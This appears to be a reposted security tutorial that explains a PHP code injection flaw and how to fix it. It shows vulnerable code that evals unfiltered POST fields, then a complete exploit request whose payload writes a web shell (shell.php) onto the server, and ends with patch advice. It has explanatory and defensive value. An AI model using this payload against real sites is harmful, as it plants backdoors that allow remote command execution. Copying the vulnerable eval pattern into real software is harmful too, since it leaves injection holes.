PHP code injection vulnerability (cause and solution)

Source: Internet
Author: User

Preface during the test, we found a site with a PHP code injection vulnerability, which is really hard to see. Now let's talk about the cause of this vulnerability and the methods for its use and repair.
The following code snippets introduce the PHP code injection vulnerability,

<?
$postarray = array(
"name",
"email",
"message",
);
foreach ($postarray as $val) {
    if (!isset($_POST[$val])) $_POST[$val] = "";
    eval("$".$val." = '".$_POST[$val]."';");
}
?>
The Code is intended to assign values to variables by using eval, but does not filter the content submitted by users.
The exploitation of vulnerabilities is simple. Since you can execute any php code, you only need to add malicious code when submitting the code. The following is an example.
POST /test.php HTTP/1.1
Content-Length: 89
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=ui7uokv6ac1tdf2bh78fasdc55
Host: www.xxxx.xxx
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept: */*
 
name=&&email=';fputs(fopen("shell.php","w+"),"<?eval(\$_POST[cmd]);?>");%24a%3d'&message=
We recommend that you do not use high-risk functions such as eval for patching. If you want to use them, make sure that the function parameters are controllable. In this example, you can assign values directly.
 

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.